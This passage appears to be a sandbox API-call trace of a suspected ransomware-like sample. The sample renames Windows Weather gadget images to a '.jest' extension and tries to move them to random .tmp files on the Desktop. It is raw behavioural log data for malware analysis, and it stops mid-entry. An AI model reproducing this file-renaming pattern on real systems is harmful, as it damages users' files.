[0127.727] GetTickCount () returned 0x11525d9 [0127.727] CoFreeUnusedLibraries () [0127.727] GetTickCount () returned 0x11525d9 [0127.727] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.727] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.727] GetTickCount () returned 0x11525d9 [0127.727] IsWindowVisible (hWnd=0x30268) returned 0 [0127.727] Sleep (dwMilliseconds=0x0) [0127.727] GetFullPathNameA (in: lpFileName="D6nVvYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D6nVvYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp", lpFilePart=0x18e708*="D6nVvYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp") returned 0x8e [0127.728] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png", lpFilePart=0x18e708*="12.png") returned 0x4b [0127.728] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D6nVvYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d6nvvykjmhocklvrhxwjcwnuuiswtyti 4pr4jenfk8sh3ycq-dbhfqtamldixmodf45goy783mod7xvf5l9h1ld8uc5owlyxuop.tmp")) returned 0 [0127.730] GetLastError () returned 0x5 [0127.730] GetLastError () returned 0x5 [0127.730] SetLastError (dwErrCode=0x5) [0127.730] GetLastError () returned 0x5 [0127.730] SetLastError (dwErrCode=0x5) [0127.731] GetLastError () returned 0x5 [0127.731] SetLastError (dwErrCode=0x5) [0127.731] GetFullPathNameA (in: lpFileName="D6nVvYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D6nVvYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp", lpFilePart=0x18e6e4*="D6nVvYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp") returned 0x8e [0127.731] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D6nVvYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x566e3644, cFileName="vYkJmhOCKLvRhxwjCWnUUiSWtYti 4Pr4JENFK8sh3ycq-dbHFQTamLDixMOdF45Goy783moD7xvf5L9H1lD8UC5OwlYXuoP.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.731] GetLastError () returned 0x2 [0127.731] GetLastError () returned 0x2 [0127.731] SetLastError (dwErrCode=0x2) [0127.732] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.732] GetTickCount () returned 0x11525d9 [0127.732] GetTickCount () returned 0x11525d9 [0127.732] CoFreeUnusedLibraries () [0127.732] GetTickCount () returned 0x11525d9 [0127.732] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.732] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.732] GetTickCount () returned 0x11525d9 [0127.732] IsWindowVisible (hWnd=0x30268) returned 0 [0127.732] Sleep (dwMilliseconds=0x0) [0127.732] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png.jest")) returned 0 [0127.735] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png", lpFilePart=0x18e6d8*="11.png") returned 0x4b [0127.735] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc00d2b2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc00d2b2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x57, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 0x143ce48 [0127.736] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.737] VarBstrFromR4 (in: fltIn=0x479445c9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.57") returned 0x0 [0127.737] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.737] GetTickCount () returned 0x11525d9 [0127.738] GetTickCount () returned 0x11525d9 [0127.738] CoFreeUnusedLibraries () [0127.738] GetTickCount () returned 0x11525d9 [0127.738] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.738] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.738] GetTickCount () returned 0x11525d9 [0127.738] IsWindowVisible (hWnd=0x30268) returned 0 [0127.738] Sleep (dwMilliseconds=0x0) [0127.738] GetFullPathNameA (in: lpFileName="B60yXXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B60yXXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp", lpFilePart=0x18e708*="B60yXXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp") returned 0x8f [0127.738] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png", lpFilePart=0x18e708*="11.png") returned 0x4b [0127.739] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B60yXXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b60yxxzsneb2uij6ccfrqe6dseytrdsuawwzyd4hpbqmrnlg60ek94xhuemb2e9qzrdowmvbindxlb8hrdjmuuwtn 6xqu z__sjb.tmp")) returned 0 [0127.741] GetLastError () returned 0x5 [0127.741] GetLastError () returned 0x5 [0127.741] SetLastError (dwErrCode=0x5) [0127.741] GetLastError () returned 0x5 [0127.741] SetLastError (dwErrCode=0x5) [0127.741] GetLastError () returned 0x5 [0127.741] SetLastError (dwErrCode=0x5) [0127.741] GetFullPathNameA (in: lpFileName="B60yXXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B60yXXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp", lpFilePart=0x18e6e4*="B60yXXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp") returned 0x8f [0127.742] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B60yXXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x79303642, cFileName="XXZsNeb2Uij6CCfrqe6dSEyTRDsUAwwZYd4hpBQMrNLg60ek94XHuEMB2E9QzRDowMvbinDxLB8HrdjmUuWTn 6xqU Z__sJB.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.742] GetLastError () returned 0x2 [0127.742] GetLastError () returned 0x2 [0127.743] SetLastError (dwErrCode=0x2) [0127.744] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.744] GetTickCount () returned 0x11525e9 [0127.744] GetTickCount () returned 0x11525e9 [0127.744] CoFreeUnusedLibraries () [0127.744] GetTickCount () returned 0x11525e9 [0127.744] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.744] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.744] GetTickCount () returned 0x11525e9 [0127.744] IsWindowVisible (hWnd=0x30268) returned 0 [0127.744] Sleep (dwMilliseconds=0x0) [0127.748] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png.jest")) returned 0 [0127.750] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png", lpFilePart=0x18e6d8*="10.png") returned 0x4b [0127.750] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc00d2b2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc00d2b2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd699b5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x57, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 0x143ce48 [0127.751] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.752] VarBstrFromR4 (in: fltIn=0x479445cb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.59") returned 0x0 [0127.752] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.752] GetTickCount () returned 0x11525e9 [0127.752] GetTickCount () returned 0x11525e9 [0127.753] CoFreeUnusedLibraries () [0127.753] GetTickCount () returned 0x11525e9 [0127.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.753] GetTickCount () returned 0x11525e9 [0127.753] IsWindowVisible (hWnd=0x30268) returned 0 [0127.753] Sleep (dwMilliseconds=0x0) [0127.754] GetFullPathNameA (in: lpFileName="_LxmfSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_LxmfSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp", lpFilePart=0x18e708*="_LxmfSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp") returned 0x8f [0127.755] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png", lpFilePart=0x18e708*="10.png") returned 0x4b [0127.755] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_LxmfSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_lxmfsy54v7-4jv4pfg74pfrr75zpwazkqictinbtl6gyidgd4xx9u8zwtpcrdlxwldy58fdroq0t2dfhwdwezy_07jrvgwycrk2c.tmp")) returned 0 [0127.757] GetLastError () returned 0x5 [0127.757] GetLastError () returned 0x5 [0127.757] SetLastError (dwErrCode=0x5) [0127.757] GetLastError () returned 0x5 [0127.757] SetLastError (dwErrCode=0x5) [0127.757] GetLastError () returned 0x5 [0127.757] SetLastError (dwErrCode=0x5) [0127.758] GetFullPathNameA (in: lpFileName="_LxmfSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_LxmfSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp", lpFilePart=0x18e6e4*="_LxmfSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp") returned 0x8f [0127.758] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_LxmfSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d784c5f, cFileName="fSY54V7-4JV4PfG74pFRR75ZPwaZkQIctINBtL6gYidgd4xX9U8ZWtpCrDlXwlDy58FdRoQ0t2DFhwdwezy_07JRvGwyCRK2C.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.758] GetLastError () returned 0x2 [0127.758] GetLastError () returned 0x2 [0127.758] SetLastError (dwErrCode=0x2) [0127.759] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.759] GetTickCount () returned 0x11525f8 [0127.759] GetTickCount () returned 0x11525f8 [0127.759] CoFreeUnusedLibraries () [0127.759] GetTickCount () returned 0x11525f8 [0127.759] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.759] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.759] GetTickCount () returned 0x11525f8 [0127.759] IsWindowVisible (hWnd=0x30268) returned 0 [0127.759] Sleep (dwMilliseconds=0x0) [0127.760] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\46.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\46.png.jest")) returned 0 [0127.762] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png", lpFilePart=0x18e6d8*="46.png") returned 0x4b [0127.762] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc39f39a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc39f39a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x57, dwReserved1=0x0, cFileName="46.png", cAlternateFileName="")) returned 0x143ce48 [0127.763] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.764] VarBstrFromR4 (in: fltIn=0x479445cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.6") returned 0x0 [0127.765] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.765] GetTickCount () returned 0x11525f8 [0127.765] GetTickCount () returned 0x11525f8 [0127.765] CoFreeUnusedLibraries () [0127.765] GetTickCount () returned 0x11525f8 [0127.765] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.765] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.765] GetTickCount () returned 0x11525f8 [0127.765] IsWindowVisible (hWnd=0x30268) returned 0 [0127.765] Sleep (dwMilliseconds=0x0) [0127.767] GetFullPathNameA (in: lpFileName="gnFAhzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gnFAhzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp", lpFilePart=0x18e708*="gnFAhzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp") returned 0x8f [0127.767] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png", lpFilePart=0x18e708*="46.png") returned 0x4b [0127.767] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\46.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gnFAhzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnfahzbsmcx93ichkjm9udenxqhtlvtg5m98vedjejupjembnf7b-hqnprmtbu46_0y3b3y3fzvr7amz2jhk7 3pnxcx8r-kcrlur.tmp")) returned 0 [0127.769] GetLastError () returned 0x5 [0127.769] GetLastError () returned 0x5 [0127.769] SetLastError (dwErrCode=0x5) [0127.769] GetLastError () returned 0x5 [0127.769] SetLastError (dwErrCode=0x5) [0127.769] GetLastError () returned 0x5 [0127.769] SetLastError (dwErrCode=0x5) [0127.769] GetFullPathNameA (in: lpFileName="gnFAhzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gnFAhzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp", lpFilePart=0x18e6e4*="gnFAhzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp") returned 0x8f [0127.769] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gnFAhzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x41466e67, cFileName="hzbsMCx93ichkJm9UDenxQHtlVtg5m98veDjEJUpjeMBnF7B-hQnPrMTbu46_0Y3B3y3fZvR7Amz2JhK7 3pNXcX8r-kCRLUR.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.770] GetLastError () returned 0x2 [0127.770] GetLastError () returned 0x2 [0127.770] SetLastError (dwErrCode=0x2) [0127.770] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.770] GetTickCount () returned 0x11525f8 [0127.770] GetTickCount () returned 0x11525f8 [0127.770] CoFreeUnusedLibraries () [0127.770] GetTickCount () returned 0x11525f8 [0127.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.770] GetTickCount () returned 0x11525f8 [0127.770] IsWindowVisible (hWnd=0x30268) returned 0 [0127.770] Sleep (dwMilliseconds=0x0) [0127.771] MoveFileA (lpExistingFileName="C:\\Program 